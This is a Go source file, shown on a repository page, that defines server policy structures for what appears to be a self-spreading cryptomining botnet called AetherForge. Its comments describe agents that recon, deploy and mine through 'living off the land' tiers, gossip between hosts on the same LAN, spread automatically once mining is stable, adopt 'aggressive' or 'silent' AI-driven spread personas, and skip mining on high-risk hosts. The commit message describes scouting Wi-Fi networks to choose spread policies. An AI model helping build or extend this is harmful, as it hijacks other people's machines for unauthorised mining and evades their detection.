Files
AetherForge/server/internal/api/server_policy.go
AetherForge bbab38f8e1
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add scout constellation mode for APK venue persona packs.
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
2026-06-07 09:18:58 -07:00

49 lines
2.0 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
// ServerPolicy holds Calibrate settings enforced at runtime.
type ServerPolicy struct {
MaxAgents int
LogAgentConnections bool
LogShareSubmissions bool
LogPoolTraffic bool
StrictWalletValidation bool
MaxBuildSizeMB int
PoolReconnectSeconds int
LotlOnionTiers []string
ServiceDeployAllowlist map[string]ServiceDeployLane
MiningTierPolicy MiningTierPolicy
TripleOnionPolicy TripleOnionPolicy
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
AIControlEnabled bool
// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
AIPersona string
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
AtlasLanGossipEnabled bool
// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
FleetRolesEnabled bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
HashrateGateSpreadMin int
HashrateGateHPS float64
// ErasureLanesEnabled attaches ReedSolomon shard metadata to signed deploy plans.
ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
type TripleOnionPolicy struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth.
type MiningTierPolicy struct {
TierOrder []string `json:"tier_order,omitempty"`
SkipTiers []string `json:"skip_tiers,omitempty"`
ForceTier string `json:"force_tier,omitempty"`
}